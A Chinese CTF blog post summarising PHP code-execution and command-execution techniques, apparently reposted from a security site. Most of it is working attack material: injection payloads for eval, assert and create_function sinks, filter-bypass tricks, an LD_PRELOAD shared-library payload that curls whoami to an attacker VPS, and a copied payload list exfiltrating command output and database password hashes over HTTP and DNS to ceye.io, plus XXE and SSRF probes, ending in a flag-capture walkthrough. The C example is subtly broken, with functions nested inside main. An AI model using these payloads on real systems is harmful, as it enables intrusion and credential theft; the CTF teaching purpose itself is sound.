命令执行与代码执行的小结

Posted by Mannix on October 21, 2018

命令执行与代码执行的小结


前记

总结了一下在ctf里经常遇到的命令执行和代码执行的利用点。


代码执行

执行代码的几种方式

  • ${}执行代码

  • eval

  • assert

  • preg_replace

  • create_function()

  • array_map()

  • call_user_func()/call_user_func_array()

  • array_filter()

  • usort(),uasort()

${}执行代码

${php代码}
${phpinfo()};
<?php

error_reporting(0);

${phpinfo()};

Snipaste_2018-10-21_13-04-44.png

eval()执行代码

eval('echo 2;');
<?php

error_reporting(0);

eval('phpinfo();');

Snipaste_2018-10-21_13-04-44.png

assert()

普通调用

//?a=phpinfo()
<?php assert($_POST['a']);?>
<?php

error_reporting(0);

//?a=phpinfo()
assert($_GET['a']);

Snipaste_2018-10-21_13-23-20.png

assert函数支持动态调用

//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>
<?php

error_reporting(0);

//?a=phpinfo()
$a = 'assert';
$a($_GET['a']);

Snipaste_2018-10-21_13-27-58.png

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

Snipaste_2018-10-21_13-29-53.png

以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。

在7.0.29版本之后发现的奇怪的一点

<?php

error_reporting(0);

//?a=phpinfo()
$a = 'assert';
$a($_GET['a']);
//phpinfo()无法执行成功
<?php

error_reporting(0);

$a = 'assert';
$a(phpinfo());
//成功执行phpinfo()
<?php

error_reporting(0);

$a = 'assert';
$b = phpinfo();
$a($b);
//成功执行phpinfo()

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');
<?php

error_reporting(0);

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,"abcd");

Snipaste_2018-10-21_14-08-27.png

create_function()

说明

string create_function ( string $args , string $code )

该函数用来创建匿名函数。

这个函数的实现大概是这样的

<?php

error_reporting(0);

$b = create_function('$name','echo $name;');

//实现
function lambda($name){
echo $name;
}

$b(phpinfo());

lambda("phpinfo()");

第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。

执行代码

<?php

error_reporting(0);

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

上面这种方法是最直接的,接下来看一点有趣的。

Snipaste_2018-10-21_14-23-42.png

自己写的小示例

<?php

error_reporting(0);

$id=$_GET['id'];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('id');

这里直接传入phpinfo是不行的,构造的payload

?id=2;}phpinfo();/*

传入后,代码如下

function niming($name){
echo $name.编号2;
     }phpinfo();/*
}

Snipaste_2018-10-21_16-00-29.png

这样就执行了代码,再给出网上找的一个例子。

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = 'strnatcasecmp';

$databases=array('1234','4321');

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function('$a, $b', $sort_function));

构造的payload如下

?sort_by="]);}phpinfo();/*

Snipaste_2018-10-21_16-07-42.png

在自己写示例的时候,因为网上的一个示例纠结了挺久。

代码如下

<?php

error_reporting(0);

//?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo'.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";

纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。

本应该挺容易的事儿,但是改来改去花了好久。最终的结果便是开头写的示例。

array_map()

官方文档

array array_map ( callable $callback , array $array1 [, array $… ] )

array_map():返回数组,是为 array1 每个元素应用

callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

漏洞演示

<?php

error_reporting(0);

//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

Snipaste_2018-10-21_16-16-10.png

call_user_func()/call_user_func_array()

和array_map()函数挺像的。

官方文档

call_user_func()

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] ) 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func_array()

mixed call_user_func_array ( callable $callback , array $param_arr ) 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

示例

call_user_func()

<?php

error_reporting(0);

//?a=phpinfo();
call_user_func(assert,$_GET['a']);

Snipaste_2018-10-21_16-25-29.png

call_user_func_array()

<?php

error_reporting(0);

//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array);

Snipaste_2018-10-21_16-25-29.png

array_filter()

官方文档

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

示例

<?php

error_reporting(0);

//?a=phpinfo();
$array[0] = $_GET['a'];
array_filter($array,'assert');

Snipaste_2018-10-21_16-25-29.png

usort()/uasort()

usrot官方文档

bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

shell_1

<?php

error_reporting(0);

//?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);

只有在php5.6以上环境才可使用,小于php7.0

原因在此查看

eval长度限制绕过 && PHP5.6新特性

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

关于…$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

Snipaste_2018-10-21_16-55-39.png

shell_2

下面这种写法只在php7.0版本以下可以使用。

<?php

error_reporting(0);

//?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');

Snipaste_2018-10-21_16-59-56.png


命令执行

常见命令执行函数

  • system()

  • passthru()

  • exec()

  • shell_exec()

  • `反引号

  • ob_start()

  • mail函数+LD_PRELOAD执行系统命令

system()

 ~ php -r "system('whoami');"
root

passthru()

 ~ php -r "passthru('whoami');"
root

exec()

 ~ php -r "echo exec('whoami');"
root

shell_exec()

 ~ php -r "echo shell_exec('whoami');"
root

`反引号

 ~ php -r "echo @`whoami`;"
root

Snipaste_2018-10-21_17-17-51.png

ob_start()

官方文档

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

使用

<?php

error_reporting(0);

ob_start("system");
echo "whoami";
ob_end_flush();
//输出www-data

mail函数+LD_PRELOAD执行系统命令

思路

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

利用

a.c语言

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
} 
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}

编译

gcc -c -fPIC a.c -o a 

gcc -shared a -o a.so

mail.php

<?php

error_reporting(0);

putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");

监听vps的4123端口,访问mail.php。

netcat -lvp 4123
nc -lnvp 4123

ctf绕过的小tip

空格

在bash下,可以用以下字符代替空格

<
${IFS}
$IFS$9
%09

测试

ubuntu@VM-0-8-ubuntu:~/shell$ cat<1.txt 
abc
ubuntu@VM-0-8-ubuntu:~/shell$ cat${IFS}1.txt 
abc
ubuntu@VM-0-8-ubuntu:~/shell$ cat$IFS$91.txt 
abc
root@mannix-kali-2018-3:~/Desktop# vim 1.txt
root@mannix-kali-2018-3:~/Desktop# cat 1.txt
abcdef
root@mannix-kali-2018-3:~/Desktop# cat<1.txt
abcdef
root@mannix-kali-2018-3:~/Desktop# cat${IFS}1.txt
abcdef
root@mannix-kali-2018-3:~/Desktop# cat$IFS$91.txt
abcdef
root@mannix-kali-2018-3:~/Desktop# 

%09测试

<?php

error_reporting(0);

$cmd = $_GET['cmd'];
system("$cmd");
//http://127.0.0.1/45.php?cmd=cat%091.txt
//输出abc

敏感字符绕过

这里假设过滤了cat

1.利用变量绕过

ubuntu@VM-0-8-ubuntu:~/shell$ a=c;b=a;c=t;
ubuntu@VM-0-8-ubuntu:~/shell$ $a$b$c 1.txt
abc
root@mannix-kali-2018-3:~/Desktop# a=c;b=a;c=t;
root@mannix-kali-2018-3:~/Desktop# $a$b$c 1.txt
abcdef
root@mannix-kali-2018-3:~/Desktop# 

2.利用base编码绕过

ubuntu@VM-0-8-ubuntu:~/shell$ echo 'cat' | base64
Y2F0Cg==
ubuntu@VM-0-8-ubuntu:~/shell$ `echo 'Y2F0Cg==' | base64 -d` 1.txt
abc
root@mannix-kali-2018-3:~/Desktop# echo 'cat' | base64
Y2F0Cg==
root@mannix-kali-2018-3:~/Desktop# `echo 'Y2F0Cg==' | base64 -d` 1.txt
abcdef
root@mannix-kali-2018-3:~/Desktop# 

处理无回显的命令执行

  • 1.利用自己的vps

在vps上使用nc监听

➜ ~ nc -lnvp 4567
Listening on [0.0.0.0] (family 0, port 4567)
root@mannix-kali-2018-3:~/Desktop# netcat -lvp 4567
listening on [any] 4567 ...

后台代码

<?php

error_reporting(0);

$a = $_GET['id'];
system("$a");

payload

curl http://vps_ip:vps_port/?id=`whoami`
curl http://172.16.245.163:4567/?id=`whoami`

收到回显

t01d381077c0f32bb63.png

Snipaste_2018-10-21_18-25-16.png

  • 2.利用ceye平台

http://ceye.io/payloads

Snipaste_2018-10-21_18-30-14.png

类似的平台还有:https://exeye.io/request/web

Snipaste_2018-10-21_18-30-34.png

平台的payload

0x00 Command Execution

i. *nix:

curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

ii. windows

ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

i. SQL Server

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

ii. Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

iii. MySQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

iv. PostgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

0x02 XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

0x03 Others

i. Struts2

xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}

ii. FFMpeg

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.b182oj.ceye.io
#EXT-X-ENDLIST

iii. Weblogic

 xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

iv. ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.b182oj.ceye.io)'
pop graphic-context

v. Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf

vi. Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

记录在http request中

题目地址

http://192.168.10.55/

后台源码

<?php

error_reporting(0);

$a = $_GET['id'];
system("$a");

payload

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
curl http://10.211.55.37.7gfssd.ceye.io/?id=`whoami`

只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。

效果

t010db2e1c47777c52d.jpg

Snipaste_2018-10-21_19-01-10.png

记录在dns query中

简单介绍

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。

举个例子

在注册ceye.io之后会分配一个三级域名。就是**.ceye.io。

ping `whoami`.******.ceye.io

上面这条命令最终在ping的时候ping的是“root.**.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)

所以这种方法的使用必须有ping命令。


真题解析

题目存在robots.txt文件,访问发现两个文件

index.php
where_is_flag.php

index.php代码

<?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);

可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。

payload

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx

最终的url

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

在dns query中查看

t01a51d16796d1e3a27.jpg

可以看到文件的内容是

<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

由此得知flag.php的位置,继续打印flag.php的内容

获取flag的url

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

t01c4d21b98879d3429.jpg

得到flag。


后记

从开始学打ctf到现在见了挺多的代码执行和命令执行,这次算比较完整的总结了一下,感觉对于我这种萌新还是挺友好的。欢迎师傅们指出不对的地方。


原文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/162128 安全客 - 有思想的安全新媒体

博客作者,文章总结者 @Mannix
2018 年 10 月 21 日

原始参考文档作者 @Yang1k
2018 年 10 月 20 日